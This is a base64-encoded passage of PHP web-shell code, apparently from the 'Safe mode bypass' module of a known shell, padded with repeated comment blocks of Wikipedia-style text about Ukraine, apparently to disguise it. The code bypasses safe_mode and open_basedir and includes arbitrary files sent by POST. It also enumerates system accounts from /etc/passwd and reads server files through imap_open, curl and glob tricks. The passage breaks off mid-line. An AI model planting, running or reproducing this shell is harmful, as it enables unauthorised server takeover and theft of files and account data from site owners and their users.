LFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCWNhc2UgNDoKCQkJaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOwoJCQlpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CgkJCWluY2x1ZGUoJF9QT1NUWydwMiddKTsKCQkJYnJlYWs7CgkJY2FzZSA1OgoJCQlmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsKCQkJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKCQkJCWlmICgkdWlkKQoJCQkJCWVjaG8gam9pbignOicsJHVpZCkuIlxuIjsKCQkJfQoJCQlicmVhazsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJY2FzZSA2OgoJCQlpZighZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSlicmVhazsKCQkJJHN0cmVhbSA9IGltYXBfb3BlbigkX1BPU1RbJ3AyJ10sICIiLCAiIik7CgkJCWlmICgkc3RyZWFtID09IEZBTFNFKQoJCQkJYnJlYWs7CgkJCWVjaG8gaW1hcF9ib2R5KCRzdHJlYW0sIDEpOwoJCQlpbWFwX2Nsb3NlKCRzdHJlYW0pOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJYnJlYWs7Cgl9CgkkdGVtcCA9IG9iX2dldF9jbGVhbigpOwoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52